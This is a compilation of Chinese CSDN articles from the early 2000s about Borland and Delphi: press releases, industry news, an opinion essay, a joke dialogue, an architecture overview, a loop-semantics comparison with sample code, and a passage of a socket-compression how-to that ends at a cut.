“e-Learning是在我们提供给我们客户的培训方案中一个日益重要的组成部分，” William Widmer说，他是Borland专业服务部门的副总裁。“Referentia的产品在Jbuilder社群中非常受欢迎，我们非常希望我们所有的产品都有这样的e-Learning培训教程。这种伙伴关系将帮助为我们的客户提供广泛的尽可能好的选择，以快速地采用，学习和成为Borland电子商务实现平台的能手。”

最初的e-Learning解决方案将是针对Borland JBuilder 4的，但新的扩展的伙伴关系将包括另外的所有Borland的解决方案的e-Learning产品，如Delphi™， C++Builder™，未来的Kylix™，Borland® AppServer™ 和 AppCenter™。通过提供Borland整个产品线的完整的培训方案，Borland的客户将能够选择最能满足自己需要的培训方案。开发和首次展示计划还未被公布，但这种e-Learning伙伴关系期望会在这一年中引起大量的新的交互式培训新闻。

“这是一个非常好的机会能以创新的e-Learning解决方案为所有的Borland客户服务，” Referentia 的总裁兼CEO Jean Gastine说，“我们非常高兴能和像Borland这样的公司一起工作，并且非常高兴看到他们基于我们早期工作的质量和效率而扩展我们的关系。”

欲获取更多的关于Referentia® for JBuilder™ 4培训系列的信息，访问JBuilder， Referentia，致电1-800-569-6255，或Email： sales@referentia.com。需要Referentia的印刷资料包，请联系(808) 396-1232。

关于 Borland

Borland是一个在高性能电子商务实现方案方面的居于领先地位的供应商。
Borland 为专业电子商业解决方案提供者提供最好的选择，这些提供者需要的是一个独立于供应商的实现平台，支持快速上市，高生产力，高性能和高可用性。Borland建于1983年，总部在美国加利福尼亚州的Scotts Valley，全球运作。欲知详情，请访问社群站点或拨打Borland免费电话 (800) 632-2864。

关于 Referentia Systems Incorporated
Referentia Systems Incorporated 是一个在高级e-Learning 内容创建工具和服务方面的领导者。Referentia 的独特之处在于其高质量的用户体验和丰富的交互式内容产生工具系统。Referentia 的技术已被许多大型组织采用，如Autodesk公司，Borland，Seagate软件，GoldMine 软件公司以及国防部高级研究项目代理（DARPA）。Referentia的获奖产品和技术的领先地位已被遍布全世界的商业界所证实。

www.delphidevelopers.com


CSDN_文档中心_Borland回来了！

2000-10-31

Borland回来了！

今天访问www.inprise.com和www.borland.com发现网站的风格已变化了，变得更加富有活力，更加亲切，更加明快了。最重要的是Borland单独出现在了显著的位置，而不再是以前的Inprise/Borland了。主要产品的门户统一在了Made in Borland这个响亮的口号之下。

你终于回来了，Borland !

-- DelphiDeveloper.myrice.com

相关文章：

Borland宣布2000年第三季度财务报告

Inprise/Borland 欢迎 Microsoft 加入丛林之战 --IDG采访 Dale Fuller


CSDN_文档中心_Borland网上调查：请告诉Borland你在未来的Delphi和C++Builder版本中需要什么样的数据库开发特性

Community Home >Delphi & Kylix> Database

First time ever: RAD Windows Database Development Survey - by John Kaster

Abstract:Let Borland know what database development features are important to you for Delphi and C++ Builder

For the first time ever, Borland has a customer survey specifically devoted to database support in our RAD Windows products (Delphi and C++ Builder). If you have the time, please fill out the RAD Windows Database Development Survey and help us determine our future support for database development in Delphi and C++ Builder.

Your feedback will help us plan and prioritize future database support in these products.

Add or View comments on this article

Article ID: 28403 Publish Date: February 14, 2002 Last Modified: February 14, 2002


CSDN_文档中心_Borland有一个梦，程序员的梦

Borland有一个梦，程序员的梦

本文以个人身份发表，不代表任何公司观点

天狼星

作为一个程序员，我在软件行业已经整整十个年头了。现在，我有幸在北京Borland工作，每天面对的是程序员赖以生存的工具软件，个中滋味，自然难以述说。

Borland其实是一家小公司，在当前IT领域遍地富翁的情形下，在微软、oracle、sun等软件巨头身旁，Borland银行里那一亿美元的储备金，真的算不了什么。

但是我知道Borland有一个梦，一个程序员的梦。为了这个梦能变成现实，Borland的那些天才的程序员终结者们，总在夜以继日地耕耘着键盘，是的，总有一天，梦会成真，程序员们会为之狂悦。

每个公司都有自己的文化，就像每个国家都有自己的信念一样，Borland也有自己的底蕴。福勒先生（现任代总裁）说过，要把Borland建设成一个像瑞士一样的国家。哦，瑞士，这是个不大的国家，是的，Borland只是一个小公司；它以精致的钟表和工具而闻名遐迩，Borland曾用一个Delphi维持了公司八年；它拥有勤劳聪慧的民众，Borland拥有全球最有天分的一群程序员；它在各种艰巨的地形下建造了数不清的人工奇迹，Borland打造了一个又一个的极品软件；在瑞士旅游，你不用担心便利性的问题，用Borland软件，你无须关心繁琐的细节。最重要的是，瑞士完全中立，Borland没有平台。

是的，Borland的产品没有平台。这是西蒙先生（Borland高级副总裁）给程序员的承诺。这是Borland梦想的一部分，可以说已经基本实现。CORBA中间件产品VisiBroker屏蔽并连接了不同的平台。软件对象框架产品AppServer、软件对象管理产品AppCenter、Java开发工具JBuilder都运行在JVM之上因而只要Java能到的地方，这些产品就能到。数据库产品Interbase已经做到了Windows、Linux、Solaris三类平台之上。年底前Delphi for Linux、明年上半年C++Builder for Linux将出炉（参照Kylix计划）。有什么理由不相信Borland能实现自己的承诺呢？

其实Borland所指的平台不只是操作系统平台，还包括语言平台，无论是Pascal、C++、Java，你看到的IDE环境都会是同一个面孔，你使用的组件都是类似的架构。除开语言平台，还包括不同的软件对象体系标准。你会发现无论是使用CORBA，或是Java、或是DCOM、或是MIDAS，你的对象总能互相通信，你在IDE环境中时常会看不到具体标准的痕迹。对了，这就是程序员的梦。在程序员们逻辑的世界里，如何能容忍所有这些平台的束缚呢？我做不到，我一直试图打破一个又一个类似的壁垒，我一直就像在做恶梦，直到我发现Borland可能做到。Borland有同样的梦想。

想一想，为什么一个独立的软件，不能成为一个对象？自从我们发明了对象这个名词以来，似乎已经有太多的人在用这个招牌来吆喝自己的产品了。事实上他们都是对的，因为每一个独立的软件都是一个货真价实的对象。因为它们独立，所以它们满足对象的最基本条件：封装。至于继承，在新软件中使用旧的代码，是不是继承？还有多形，写一个类似的程序，把它和现在的软件放在一起组成一个组，分别实现不同的功能，是不是多形？对了，只有独立封装才是对象是与不是的标准。有自己的名字，有自己的数据，有自己的方法，为什么不是一个对象？是的，这都是对象。

在程序员们逻辑的世界里，这些对象，那都是活生生的生命啊。那都是他们的将士，时刻听从他们的指挥。可是那些讨厌的操作系统，那些数以万计的语言，那些为某些公司专用的标准，这些所谓的平台，他们扼杀了这些生灵。平台让对象们离开出生的家乡就不能生存，还让他们互相不能认识对方，不能用长勺喂饱别人。

还好软件世界里还有那么多真正的程序员存在，还好在关心对象命运的公司也不止一家。这些公司（至少有800多个吧），他们组成了一个组织叫对象管理组织（OMG），他们出了一个标准叫CORBA。CORBA认识所有这些对象，这些独立的软件。CORBA还让他们互相认识，请求对方为自己完成自己力不能及的事情。

是的，我们不再需要要求所有的对象都必须符合DCOM的二进制代码规范，在除Windows以外的世界，我们找不到任何合手的软件来生成这些代码块。我们也不需要所有的程序员来学习Java语言，我们可以用自己习惯的语言。任何旧的代码都是程序员自己带出来的兵，我们今天不需要去遗弃他们。

如果现在有人对我说他用UNIX上的Java程序和他的Windows下的C++程序一起集成了一个新的系统，我不会感到奇怪，因为Borland的VisiBroker、JBuilder和C++Builder让你可以做到。如果有人对我说，他的EJB可以和CORBA对象互相认识并能友好交流，我不会感到奇怪，因为如果你在AppServer框架下开发EJB，那么它本身就能是一个CORBA对象。Java对象必须存活在某个小一点但完善一点的框架环境之下，但这并不意味着它们不能通过类似于Borland AppServer这样的框架环境来融入CORBA的大家庭之中。如果明年有人对我说他拿Windows下的Delphi代码（包括界面描述）到Linux下编译了一个Linux下的可执行程序，跑起来样子还跟Windows下的一模一样，我也不会奇怪，因为用Delphi for Linux，你可以做到。

只有DCOM对象现在还不能适应这个全世界大团结的美好环境。好在微软并不是那么万分的顽固。至少他们想把他们的新语言C#也弄一个IDL2C#规范出来，这样将来用C#也可以开发CORBA对象。甚至他们在DCOM之外，还能重视SOAP，因为SOAP容易融入CORBA之中，实际上他们已经在申请这么做。哦，SOAP是什么？其实不过是XML。用XML作什么？CORBA对象间传送的（一般来讲）是扁平的消息，结构化的消息最特殊情况下如一个对象则很难传送。用XML来包装一个对象，然后把XML文件整个传送出去，就可以传送对象了。其实用Java也可以传送对象，只不过双方必须都是Java程序罢了。鲍尔默先生（微软总裁）讲XML必将战胜Java，不是没有道理，而只是忽略了需要借助于CORBA之力的事实（当然凭借微软的实力，他可以不用现存的CORBA产品，但它必须有类似的产品，同时这个产品应该可以和CORBA互通，否则就失去了跨平台的意义）。

将来会有人跟我讲，他在服务器上实现了Java所写的MIDAS服务器程序，他用DataModule封装了所有的业务逻辑，用EJB的形式放在某个框架环境（EJB Server）之下，该DataModule可以在任何平台下用任何语言中的TClientDateSet之类的东西来访问。如果听到这些话，我不会感到奇怪，因为即便是从当前的技术基础来讲，Borland都有能力能做到这样。如果将来有人跟我讲，他的微软格式的软件对象可以跟CORBA对象互相认识并能紧密合作，那我可能有些高兴，但仍然不会奇怪，因为只要微软愿意，Borland可以做到。

程序员们逻辑的世界是一个没有国界的净土，这里不允许任何的霸权存在。如果你觉得这只是一个梦想，那么请允许Borland能和你一起做梦直到美梦成真。

作者简介：杨少雄，南京大学计算机系毕业，高级程序员，

北京Borland公司系统工程师


CSDN_文档中心_Borland与Microsoft关于Delphi的对话

Borland与Microsoft关于Delphi的对话
Bear

1、Delphi较贵
一套Delphi的价格大约相当于两套Visual Studio
---------------------------------------
Inprise/Borland : 我们卖这个价，是因为它值这个价。

Microsoft : 六个东东，才这个价，多便宜，大家快来买吧。
(Gates开看了看Borland再掂了掂手中的银子，
当初我发家的Dos不就是靠低廉而装入成千上百台计算机的吗？
IE不也是免费赠送的吗，捎带着还送走了Netscape)

2、一套Delphi只包括一种单一的开发工具平台
一套Visual Studio 包括五种开发工具平台。
---------------------------------------
Inprise/Borland :

我们的开发者可以用一个工具就干完所有的活，
学一次，到处可用。统一开发语言可以让系统间
的连接复杂度降低，提高项目管理的容易度。

Microsoft :
嗨，开发数据库程序用 VFP吧，虽然它已过时。
开发Web应用用VI吧
想玩玩java，用VJ吧
不想学复杂的VC?那就用VB吧
开发企业级的桌面应用和分布式应用，用VC吧

针对你项目不同的需要，我们为你提供不同的午餐。
餐具太多，还不顺手? 耐心点，小伙子，你有的是青春和精力
要修成正果，当然是要下一番苦功夫的。
我们不也是通过下苦功夫，
将本来毫无竞争力的VC炼到今天这个程度的吗?

3、Delphi采用的语言是 Delphi Pascal
VC 采用的是 Visual C++
---------------------------------------
Inprise/Borland：
我们采用并发展Object Pascal为现代的纯粹的OOP语言
Delphi Pascal，保留并创造利于开发者项目开发的语法
特性，去掉不利于开发者项目开发的语法特性。让开
发者在基于解决问题的思维的层次上编程，而不是基于
计算机操作系统的思维层次上编程。

Microsoft ：
我们都是照着C++的语法规范来的。
目标给你足够的自由。你可以用十种不同的方式来做同一件事情，
以此显示技巧的高深。
编出的程序太符号化，总要考虑低层次问题?
我们也没办法，谁叫你要用C++呢。你既然想用它的优点，那么，
就像对你的情人一样，请接受她的缺点吧。

4、Delphi的在线帮助数量合适，但有小错
Visual Studio的在线帮助非常丰富
---------------------------------------
Inprise/Borland ：
你知道，我们的文档开发者有时候睡眼朦胧时还在干活。
中文的帮助文档?英语不是世界语吗?
我们以为中国开发者的英语都很好呢。

Microsoft ：
我们的帮助文档是一个产业，是一个你永远游不完海洋。
为了帮助你理解我们产品特性中的一句话， 我们会写出一百句话。

5、Delphi是可视化编程，却没有Visual一字
Visual C++ Visual口号很响，却不那么可视
---------------------------------------
Inprise/Borland ：
可视化编程，这是我们增强开发者工作简易程度的方式之一。
Microsoft ：
可视化编程，这是我们的口号之一，
这是我们VB的特性之一,
这是我们VC的目标之一。

6、VCL 很优美,很纯粹
MFC 很繁杂,很琐碎
---------------------------------------
Inprise/Borland ： 我们从Application开发者的角度来看问题，构造VCL
Microsoft ： 我们从WinAPI开发者的角度来看问题，构造MFC

还有很多对话，你来写吧 ：)


CSDN_文档中心_Borland重操旧业 推出新品再次叫板微软

在经历数年的财务困难和策略失误后正处于恢复过程中的Borland公司计划在明年初发布一款代号为Galileo的开发工具，与微软争夺开发工具市场。Galileo将使编程人员开发能够在Windows和未来的.Net平台上运行的应用程序。

    Borland公司的策略总监托德表示，Galileo开发工具套件的竞争对手是微软的Visual Studio.Net，其中包括Borland公司的旗舰产品━━Delphi的新版本。

    业界分析人士表示，作为最大的独立软件开发工具厂商，Borland公司有很好的机会通过Galileo建立稳定的业务。Borland公司的梦想是成为一个中立的开发工具厂商，同时支持Java和.Net这两大编程模式，它圈定的目标市场是，既想开发.Net但又不想使用微软开发工具的编程人员。尽管只有5%的.Net软件开发人员不想使用微软的工具，但600万开发人员的5%也是一个很可观的数字。一些开发人员担心，一旦他们使用微软的Visual Studio.Net，未来可能还必须使用其SQL Server数据库、Exchange Server以及其他软件。

    Galileo支持微软的.Net Framework和公共语言运行库。另外，它还支持Visual Basic、C#、Java等几种编程语言。

    Visual Studio.Net是微软的将计算转移到Web上的.Net计划的中心。.Net计划包括新版的Windows操作系统和服务器软件，Visual Studio.Net支持Visual Basic.Net、Visual C++、Visual C#、Visual J#等20多种编程语言，而且能够使开发人员利用Web服务开发软件。

    尽管Galileo会对微软的开发工具业务有一定的影响，但却将有利于.Net计划，因为它有助于.Net的普及，进一步增加使用和理解.Net的编程人员。业界分析人士指出，Borland公司不会对微软构成真正的威胁，大多数的.Net开发人员还将使用微软的Visual Studio。Borland公司将消除开发人员的担心，即他们必须捆绑在微软战车上。Borland公司的目的是支持更多的产品。

    如果历史能够作为借鉴的话，Borland公司重新在开发工具方面与微软直接竞争的决定可能是一个致命的错误。在80、90年代Borland公司财富的蒸发在很大程度上与它和微软的竞争有关，这不但使其股票大幅下跌，而且流失了34名主要官员。在经历近10年的探索后，Borland公司在CEO福勒尔的带领下开始走上了复苏之路，又拾起了自己的老本行。目前，它已经成为最大的Java开发工具厂商，而且正在开发无线、Linux 和Web服务开发工具。

    托德表示，Borland公司相信有能力与微软在开发工具市场上竞争，能够夺取一部分Visual Studio.Net用户。他说，Galileo十分重要，因为Borland公司的目标就是让“非微软的技术能够与微软的环境很好地协作。”它已经与BEA和IBM达成协议，扩大其开发工具的市场。托德说，Galileo将提供Visual Studio.Net中没有的功能，使编程人员无需自己编写所有的代码。

    很明显，Borland公司将宝押在了越来越多的希望寻求微软替代产品的软件开发人员和信息技术经理。业界分析人士指出，这也正是Linux操作系统、StarOffice以及其他非微软软件日益普及的原因。

    由于有超过100万的编程人员在使用Delphi，Borland公司已经在微软的阵地上打开了一个缺口，推出面向.Net的开发工具的目的旨在进一步扩大、巩固已经占领的阵地。


CSDN_文档中心_B/S和三层应用－－新一代的分布式网络计算解决方案。（—）未完

Delphi 也是一个多 层C/S 和b/s的32 位 快 速 开 发 工 具

Inprise 自 从 推 出 了Delphi 之 后， 深 受 程 序 设 计 人 员 的 青 睐。Delphi 的提 供 给 用 户一种 全 新 的 可 视 化 的 环 境， 快 速 开 发Windows 的 应 用 程 序。Delphi 除 了提 供 给 使 用 者 快 速 地32 位 开 发 环 境 以 外， 还 增 加 了 如 数 据 模 块(Data Module) 等多 种 高 效 的 数 据 重 用 功 能和多 层C/S 和b/s的快 速 开 发 工 具。
Delphi 到 底 提 供 了 那 些 新 的 技 术 呢? 以 下 将 为 大 家 概 述 这 些 新 技 术 的背 景 和 特 性， 以 及Delphi 是 如 何 将 这 些 技 术 实 际 运 用 在 程 序 设 计 中 的。
Delphi 的技 术 表 现 在 以 下 三 个 方 面：
1.数 据 库 的 处 理
Web 上 的Client/Server 技 术
数 据 分 析、 企 业 组 件 和 提 高 程 序 设 计 人 员 的 生 产 力
数 据 库 的 处 理 技 术
第 一 代 数 据 库处 理 系 统 采 用 单 层 结 构， 但这 种 结 构 很 浪 费 计 算 机 资 源。第 二 代 数 据 库 采 用 了C/S 结 构， 也 就 是 所 谓 的 两 层 结 构(2-Tier)。 C/S得 到 了 广 泛 的 应 用 并 获 得 了 极 大 的 成 功。 但 在 其 结 构 上 也 存 在 一 些 问 题， 主要 表 现 在 应 用 程 序 的 可伸 缩性和 可维 护 性方 面。 比如， 在 网 络 上 如 何 维 护 数 据 的 统 一 性和 完 整 性； 一 旦 应 用 程 序 有 任 何 改 动， 维 护 人 员 就 必 须 对 每 个 客 户 端 进 行 修 改。新 一 代 的 数 据 库 系 统 是 的C/S 结 构 中 增 加 一 个 应 用服 务 器(Application Server)， 这 种 结 构 叫 做n-Tier 或Multi-Tier。
Delphi 针 对 这 种 新 一 代 的 数 据 库 系 统 构 架 模 型， 提 出 了 三 种Broker 和数 据 库 引 擎， 来 适 应多层应用 需 求。第 一 种 叫 做Remote Data Broker,Remote Data Broker 结 构 的 精 髓 是 让每 一 个 客 户 端 不 再 需 要BDE， 取 而 代 这 的 是 一 个 中 央 化 的BDE， 以 集 中 管 理 的 方 式降 低 每 一 个 客 户 在BDE 上 调 整 的 开 销 和 复 杂 度。第 二 种 叫 做Constraint Broker， 顾 名 思 义， 它 所 扮 演 的 角 色 就 是 保 证 所有 客 户 数 据 的 一 致 性 及 数 据 的 完 整 性。第 三 种 是Business Object Broker， 它 的 目 的 是 给 一 些 关 键 性 的 商 业 应用 程 序 提 供 一 个 快 速 而 且 可 信 赖 的 使 用 环 境。 为 了 达 成 这 种 高 层 次 的 要求，Business ObjectBroker 自 动 的 将 应 用 程 序 做 适 当 的 划 分， 并 复 制 重 要 的 业 务规 则 到 每 一 个 区 间， 以 达 到 速 度 的 要 求。
Web －Enable的C/S 技 术
1. Web BroKer
当 一 个C/S 结 构 的 数 据 库 系 统， 改成Web-Enabled 的 时 候， 首 先 要 考 虑 的 是 如 何 把 结 果 显 示 在 不 同 的 机 器 上， 其 次 是
如 何 将 已 经 开 发 出 来 的 程 序 方 便 地 分 发 到 不 同 地 方 的 用 户。Delphi 中Web Broker 的 目 的 就 是 让 服 务 器 执 行 的 结 果， 方 便 地 以HTML格 式 快 速 地 显 示 在Web 浏 览 器 上 面。Web Broker 中 包 含 了 几 个 重 要 的 核 心 成 分。WebServer Application： 建 立ISAPI/NSAPI 或CGI 的DLL 或 执 行 程 序。 WebBridge: 让 开 发 人 员 开 发 一 些 可 在ISAPI/NSAPI 中 共 用 的API，2 使 得程 序 的 开 发 不 会 因Netscape 或Microsfot 的 标 准 改 变 而 受 重 大 的 影 响。
WebModeules:WebModule 所 扮 演 的 角 色 就 好 象 是WebServer 的 信 息 中 心，
它 分 派 每 个 使 用 者 的 要 求， 定 义URI 和 新 建HTML 网 页。
Sessions:Session 可 同 时 处 理 许 多 数 据 库 处 理 的 要 求， 针 对 每 一 个 用 户
请 求， 在 中 央 的BDE 中 新 建 不 同 的BDE 区 段 来 应 答 用 户。
WebDispatcher： 是 一 个 处 理 数 据 库 需 求 的 中 心， 允 许Delphi 的 开 发 者 把
传 统 的Client/Serv er 数 据 库 所 产 生 的 内 容 传 送 到Web 上 去。
HTML Producers： 主 要 的 目 的 是 将 数 据 库 信 息 或 其 它 程 序 的 结 果 转 换
为HTML 的 格 式。
2.ActiveForm
ActiveForm 是 开 发Web-Enabled 的Client/Server 应 用 程 序 另 外 一 个 重
要 的 部 分， 它 针 对 以Windows 为 基 础 的Client/Server 结 构 的 数 据 库 系 统。
Delphi 提 供 了 一 个 最 容 易 的 方 式， 将Delphi 的Form 转成ActiveForm。ActiveForm 是 一 个ActiveX 控 件， 它 使 用Delphi 的Form 为 载 体 来 装其 他Delphi 的 组 件， 为 了 适 应 网 络 频 宽 不 足 的 限 制，ActiveForm 配 合Remote DataBroker 可 以 产 生 小 巧 且 无 须 编 程 的Multi-Tier 数 据 库 应 用 程 序。
另 一 个 有 力 的 工 具 叫Web Deployment， 它 可 以 自 动 的 产 生HTML文 件， 传 送ActiveForm 和 其 他 所 必 需 的 文 件 到 客 户 端，Web Deploymcnt 可 以 支持CAB 的 文 件 格 式（节约30％）， 以 增 加 文 件 下 传 的 速 度， 除 此 之 外， 它 还 提 供Code Signing 机制 去 提 高 其 网 络 安 全 性。Delphi 还 提 供 了 新 的 编 译 技 术 — —VCL Package 技 术。
Delphi 3 另 外 值 得 一 提 的 部 分 是 在 客 户 端 的 开 发 应 用， 主 要 表 现 在 三 个
主 要 方 面： 数 据 分 析， 组 件 制 造 中 心 和 减 小 了 程 序 开 发 的 难 度。
数 据 分 析
正 确 的 数 据 分 析， 在 业 务 决 策 分 析 上 是 相 当 的 重 要。 当 大 量 的 数 据 放 在 用
户 面 前 的 时， 用 户 要 搞 清 这 些 繁 杂 的 数 据 背 后 的 真 实 意 义 可 不 是 件 容 易 的 事。 如
何 将 现 有 的 数 据 转 成 有 用 的 信 息， 来 辅 助 决 策 者 做 出 最 正 确 的 决 择 呢? 一 般 来 说，
运 用 图 形 及 报 表 形 式 是 最 好 不 过 的 了，Delphi 提 供 了 三 个 重 要 的 组
件，Decision Cube,TeeCharts 和Quick Report。
Decision Cube 让 使 用 者 能 依 据 个 人 需 求， 动 态 查 询 数 据， 显 示 多 维 数 据和 动 态 图 表， 产 生 不 同 性 质 的 有 用 分 析 结 果， 充 分 显 示 数 据 背 后 的 相 互 关 系， 提 供
给 快 策 者 最 快 最 有 用 的 信 息， 帮 助 他 作 出 最 正 确 的 决 定；TeeCharts 是 一 个 三 维 的可 视 化 图 表， 使 得 数 据 更 容 易 被 理 解：Quick Report 是 一 个 超 强 的 报 表 生 成 组 件群， 除 了 提 供 一 般 的 报 表 外， 还 可 以 产 生HTML 的 报 表 格 式， 让 所 产 生 的 报 表 得 以
在Web 上 发 布。
组 件 制 造 中 心
企 业 组 件 的 制 作 基 础 是 运 用ActiveX 的 技 术， 配 合 对COM 支 持 能 力， 以 一 步到 位ActiveX 的 工 具， 建 立 企 业 组 件， 提 供 企 业 内 组 件 的 最 大 重 用 能 力。 用Delphi 制 造 出 来 的 组 件 可 以 运 用 于 各 种 不 同 的 开 发 工 具 中， 例如C++Builder、IntraBuilder、VB 等。
由 于 企 业 内 部 和Intranet 的 需 求 越 来 越 复 杂， 应 用 程 序 开 发 越 来 越 困 难。程 序 开 发 人 员 迫 切 需 要 一 种 强 有 力 的 快 速 开 发 工 具。Delphi 大 幅 度 提 升 从 多 层C/S 的 数 据 库 应 用 到Web Client/Server 结 构 的 应 用能力， 甚 至 对 程序 设 计 人 员 所 面 临 的 困 难， 都 细 心 的 考 虑 并 给 出 了 最 佳 的 解 决 方 案。
三 程 模 型：

1、小数据量的浏览：浏览器 + 应用程序(ASP/PHP/JSP) + WEB服务器 + 远程数据库

2、大数据量的操作：浏览器+WEB服务器+应用程序服务器+数据库

现在好像1,比较流行，君不见到处都招(ASP/PHP/JSP) 程序员。
但我觉得2,的优势比较明显：
1.效率高。（经过编译的）
2.安全性：可灵活加载加密算法，原代码不可见。
3.可利用各种中间件技术。
4.有交互功能：（比如一个拍卖网站，你就不必老是，刷新网页了。）（据说新一代的XML语言支持交互功能）

总觉得(ASP/PHP/JSP) 是一个时期的过渡产品（个人观点）。肯定要被新一代如XML语言技术所取代。
（未完）


CSDN_文档中心_C++/Object Pascal中循环结构的一点差异及讨论

C++/Object Pascal中循环结构的一点差异及讨论

虽然在所有的编程语言之中，程序的执行都无非是顺序、分支和循环等几种结构，比如说，C中的if…else，switch…case，while和do…while， 以及Pascal中的if…then…else，case…of，while…do，repeat…until，几乎就是一一对应的关系，只不过语法上有小小的差异而已。这样的相似性使得我们在掌握一门语言之后，再学习其他语言就容易得多了。然而，语言之间的不同是细微而琐碎的，如果不注意这些差别的话，它们迟早会从不知哪个角落跳出来，让程序员陷入debug的噩梦。

让我们来看一个例子。我们知道在一般的循环结构中，fo循环和while循环是可以转换的，例如，在Pascal中

for I:=StartValue to EndValue do …；

可以转换成相应的while 循环：

I:=StartValue;

while I<=EndValue do begin

   …；

   Inc(I);

end;

看起来，这两种循环是完全一样的。别忙，真的完全一样吗？下面是一段Delphi代码，你可以先心算一下，看得出来的结果应该是多少：

procedure TForm1.FormCreate(Sender: TObject);

var

  i, j : integer;

  index : integer;

  str : string;

begin

  i := 0;

  j := 3;

  for index:=0 to j do begin

    Inc(i);

    if j<5 then Inc(j);

  end;

  str := IntToStr(i);

  i := 0;

  j := 3;

  index := 0;

  while index<=j do begin

    Inc(i);

    if (j<5) then Inc(j);

    Inc(index);

  end;

  Caption := str + ',' + IntToStr(i);

end;

虽然两个循环看起来完全没有差别，运行后结果却截然不同：一个是4，一个是6。

我们先不忙讨论其中的原因，再来看看在C语言中情况如何。

void CTestDlg::OnLButtonDown(UINT nFlags, CPoint point)

{

    int i, j;

    int index;

    i = 0;

    j = 3;

    for (index=0;index<=j;index++)

    {

      i++;

      if (j<5) j++;

    }

    CString str;

    str.Format( "%d", i );

    SetWindowText(str);

       CDialog::OnLButtonDown(nFlags, point);

}

void CTestDlg::OnRButtonDown(UINT nFlags, CPoint point)

{

       int i, j;

    int index;

    i = 0;

    j = 3;

    index = 0;

    while (index<=j)

    {

       i++;

       if (j<5) j++;

       index++;

    }

    CString str;

    str.Format( "%d", i );

    SetWindowText( str );

    CDialog::OnRButtonDown(nFlags, point);

}

答案如何呢？在Visual C++中，两个结果都是6。

为了排除优化对程序执行结果的影响，我在Delphi和Visual C++中分别运行不优化的程序和优化后的程序，结果也是一样的：Delphi中两段循环的结果分别是4和6，而在Visual C++中，两个循环结果都是6。

以上的试验我是在Win98 SE，Delphi 6.0和Visual C++6.0的环境下测试的。如果你感兴趣的话，也可以换VB，Java或者C++Builder或者其他环境来测试一下，看得出的结果如何。

看来现在可以得出答案了。之所以在Delphi中两个结果会有所不同，是因为我们在循环中改变了变量j的值，而j又用来作为测试循环终止的条件。我们可以得出这样的结论：

1．在Object Pascal中，for循环和while循环对于循环如何终止的条件是有差别的。for循环在每次循环后不会对终止条件再次求值，也就是说，任何一个for循环已开始，总共的循环次数就已经确定了，即使你想改变也办不到。而while循环的执行次数是不定的，你可以在循环体中随时改变循环次数。

2．由于处理方法不同，因此在执行效率上也相应的有所不同。在Object Pascal Language Guide中已经指明了这一点。下面是该书第四章《语法元素》中的一段话：

The difference between this construction and the for...to statement is that the while loop re-evaluates finalValue before each iteration. This can result in noticeably slower performance if finalValue is a complex expression, and it also means that changes to the value of finalValue within statement can affect execution of the loop.

可见，由于每次循环后都要对循环条件重新求值，因此while循环的执行效率明显低于for。因此，如何可能的话，应该尽量多使用for循环。为了提高效率，循环条件应尽量简单，能用常量的地方一定要使用常量。

3．在C语言（严格的说，上述情况只在Visual C++中验证过；在其他C环境如C++Builder和GCC中尚未验证）中，for和while循环的处理方法是一致的：在每次循环后都要重新求值。

就效率而言，如果循环条件中使用的是变量而非常量，特别是循环条件是一个比较复杂的表达式的时候，那么C中的for循环应该是比Object Pascal中的for循环效率要低一点（仅仅是理论上讲）。

4．知道了for和while循环在不同语言中的表现，我们就知道应该如何在编写循环的时候避免一些错误。例如，下面的代码在Delphi中不会有问题：

var

  sl : TStringList;

  I : integer;

begin

  sl := TStringList.Create;

  sl.Add(‘1’);

  sl.Add(‘2’);

  for I:=0 to sl.Count do sl.Add(‘temp string’);

而在VC中，这样的代码就会让程序进入死循环：

CStringArray sa;

sa.Add(“1’);

sa.Add(“2”);

for (int I=0;I<sa.GetSize();I++)

  sa.Add(“temp string”)；

在我的机器上，这一段程序在长时间的运行后终于弹出一个“内存不足”的对话框,而这时几乎所有正在运行的程序都慢的好像龟爬了。希望在你的程序中不会看到这种让人不快的现象。

后记：尽管for循环和while循环的这种微小的差别并不如何令人感兴趣，但是一个严谨的程序员应该知道这些细节。有些程序员迷恋于各种各样让自己的程序漂亮起来的小Tips，而对编程语言本身的许多东西却忽略掉了。随着许多非科班出身的爱好者加入编程队伍，一些不好和不正规的编程习惯以及舍本逐末的做法也蔓延开来，流风所及，很少人不受到影响。如果我不是正在啃Object Pascal Language Guide的话，根本不会注意到这么小的地方，也不会想到我原本以为自己很熟悉了的Pascal语言中还隐藏着一些不为人知的东西。C++也是如此，关心 How to put a icon into the system tray的人，似乎永远比关心 why the class should have a virtual destructor的人来的多。 基本功不怕深厚，只怕太浅。我的希望是，对于所谓XX天精通XXX，或者XXX从入门到精通之类的东西，大家还是少看为妙，多花一些时间，静下心来读些实实在在的技术资料，比什么都强，虽然读到头皮发麻精力不济的时候所在多有，但是只要认真过一遍，你的层次绝对不同。


CSDN_文档中心_Client:TSocketConnection 和Server: Scktsrvr关系----压缩数据传输

一直用SocketConnection和服务端的传输数据在三层数据库中，从来没有注意到它们之间的数据传输，只是想着，管它了，网络的事，前段时间在Delphi中的Demos中发现Demos\Midas\Intrcpt.dpr例子，呵呵，再看了半天的VCL发现可以将Client端发送的给Server的数据，和Server发送给Client的数据是可以进行压缩的。呵呵，不敢藏私，Share给大家。

1:
准备工作,先delphi光盘中的\info\extras\zlib\zlib.pas进行编绎，然后copy 到lib路径中，因为要压缩数据，必须要有压缩功能，这个delphi已经自带，它是基于流的方式对接口IDataBlock(TDataBlock实现，其实就是对TMemoryStream的操作)数据进行压缩和解压的。做了这个后，才能进行下面的工作。
2:
Open \Demos\Midas\Intrcpt\Intrcpt.dpr
complier....(如没有做第一步，嘿嘿...)
生成Intrcpt.dll
将Intrcpt.dll copy to System directory,或者你的程序下面。
注册它：regsrvr32 Intrcpt.dll (为什么，这个嘛...)
记住Intrcpt.dpr的那个GUID,你也可以自己重新生成一个(按Shift+Ctrl+G)
3:
Server:
Open scktsrvr.exe，相信各位都很熟悉那界面，端口(TListbox)，Thread Cache Size(TEdit), GUID(TEdit),好，我们要做的事，就是将注册的Intrcpt.dll那个GUID填到这个GUID(TEdit)框框中，
只需填自己程序的的那个端口的GUID啊，别乱填，如果有别人用这个程序，出了什么，别找我。OK,Apply.
Client:
你写的程序中肯定有TSocketConnection,它有个属性InterceptGUID: string;好了，将Intrcpt.dll的GUID填上去，它是跟Server中的一样的。OK.还有别忘了，Regsrvr32 intrcpt.dll 在你的客户端。不然，程序虽不会raise,但是Server传过来的数据是压缩的....

好了，呵呵。就这些了。3步骤，很清楚吧(不会吧，还不懂，倒)

原理

